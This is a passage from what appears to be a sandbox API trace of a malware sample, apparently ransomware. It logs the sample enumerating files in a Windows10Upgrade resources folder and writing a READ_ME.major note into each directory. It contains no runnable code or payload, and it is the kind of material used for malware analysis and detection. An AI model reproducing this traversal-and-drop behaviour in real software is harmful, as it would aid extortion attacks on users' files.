0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7eb8 | out: hHeap=0x570000) returned 1 [0150.280] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0150.280] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bd859, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bd859, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x13e24500, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="default_eos.css", cAlternateFileName="DEFAUL~1.CSS")) returned 1 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0150.281] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bff6c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bff6c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea75e900, ftLastWriteTime.dwHighDateTime=0x1d2ee61, nFileSizeHigh=0x0, nFileSizeLow=0xda3a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="default_eos.htm", cAlternateFileName="DEFAUL~1.HTM")) returned 1 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0150.281] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c12fc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c12fc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1468, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="default_oobe.css", cAlternateFileName="DEFAUL~2.CSS")) returned 1 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0150.281] GetLastError () returned 0x0 [0150.281] SetLastError (dwErrCode=0x0) [0150.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0150.282] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c2685, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c2685, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7f589b00, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x100ae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="default_oobe.htm", cAlternateFileName="DEFAUL~2.HTM")) returned 1 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ac8 [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0150.282] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA", cAlternateFileName="")) returned 1 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0150.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0150.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0150.282] GetLastError () returned 0x0 [0150.282] SetLastError (dwErrCode=0x0) [0150.282] GetLastError () returned 0x0 [0150.283] SetLastError (dwErrCode=0x0) [0150.283] GetLastError () returned 0x0 [0150.283] SetLastError (dwErrCode=0x0) [0150.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0150.283] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0150.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0150.727] WriteFile (in: hFile=0x638, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0150.728] CloseHandle (hObject=0x638) returned 1 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0150.728] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.css", cAlternateFileName="")) returned 1 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0150.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f00 [0150.728] GetLastError () returned 0x0 [0150.728] SetLastError (dwErrCode=0x0) [0150.728] GetLastError () returned 0x0 [0150.728] SetLastError (dwErrCode=0x0) [0150.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f00 | out: hHeap=0x570000) returned 1 [0150.728] GetLastError () returned 0x0 [0150.728] SetLastError (dwErrCode=0x0) [0150.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0150.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0150.728] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetStarted.png", cAlternateFileName="GETSTA~1.PNG")) returned 1 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0150.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0150.728] GetLastError () returned 0x0 [0150.728] SetLastError (dwErrCode=0x0) [0150.728] GetLastError () returned 0x0 [0150.728] SetLastError (dwErrCode=0x0) [0150.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0150.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0150.729] GetLastError () returned 0x0 [0150.729] SetLastError (dwErrCode=0x0) [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0150.729] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetStartedHoverOver.png", cAlternateFileName="GETSTA~2.PNG")) returned 1 [0150.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0150.729] GetLastError () returned 0x0 [0150.729] SetLastError (dwErrCode=0x0) [0150.729] GetLastError () returned 0x0 [0150.729] SetLastError (dwErrCode=0x0) [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0150.729] GetLastError () returned 0x0 [0150.729] SetLastError (dwErrCode=0x0) [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0150.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0150.729] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x43f3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="loading.gif", cAlternateFileName="")) returned 1 [0150.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0150.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a38 [0150.729] GetLastError () returned 0x0 [0150.729] SetLastError (dwErrCode=0x0) [0150.729] GetLastError () returned 0x0 [0150.729] SetLastError (dwErrCode=0x0) [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a38 | out: hHeap=0x570000) returned 1 [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e928 [0150.730] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0xe5d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lock.png", cAlternateFileName="")) returned 1 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0150.730] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="logo.png", cAlternateFileName="")) returned 1 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d50 [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d50 | out: hHeap=0x570000) returned 1 [0150.730] GetLastError () returned 0x0 [0150.730] SetLastError (dwErrCode=0x0) [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0150.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0150.731] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="marketing.png", cAlternateFileName="MARKET~1.PNG")) returned 1 [0150.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58e990 [0150.731] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea60a72c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WinJS", cAlternateFileName="MICROS~1.WIN")) returned 1 [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] GetLastError () returned 0x0 [0150.731] SetLastError (dwErrCode=0x0) [0150.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0150.731] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0150.732] WriteFile (in: hFile=0x638, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0150.733] CloseHandle (hObject=0x638) returned 1 [0150.733] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea627c0d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea627c0d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x97e0d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NetworkIssueFAQ.mht", cAlternateFileName="NETWOR~1.MHT")) returned 1 [0150.733] SetLastError (dwErrCode=0x0) [0150.733] GetLastError () returned 0x0 [0150.733] SetLastError (dwErrCode=0x0) [0150.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.733] SetLastError (dwErrCode=0x0) [0150.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0150.733] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x875, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NoNetworkConnection.png", cAlternateFileName="NONETW~1.PNG")) returned 1 [0150.733] SetLastError (dwErrCode=0x0) [0150.733] GetLastError () returned 0x0 [0150.733] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0150.734] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NoNetworkConnectionHoverOver.png", cAlternateFileName="NONETW~2.PNG")) returned 1 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] GetLastError () returned 0x0 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0150.734] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="pass.png", 